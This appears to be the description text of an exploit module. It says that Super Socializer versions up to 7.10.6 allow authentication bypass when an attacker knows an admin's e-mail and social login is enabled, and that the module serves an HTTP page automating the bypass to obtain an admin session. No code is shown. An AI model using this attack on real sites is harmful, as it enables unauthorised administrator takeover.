      Super Socializer <= 7.10.6 is vulnerable to an
      authentication bypass exploit if an attacker is
      in posession of an admin's e-mail address and the
      social login feature is enabled.

      This module will launch a HTTP server, which when
      visited will automate the bypass process, and
      provide an admin session.
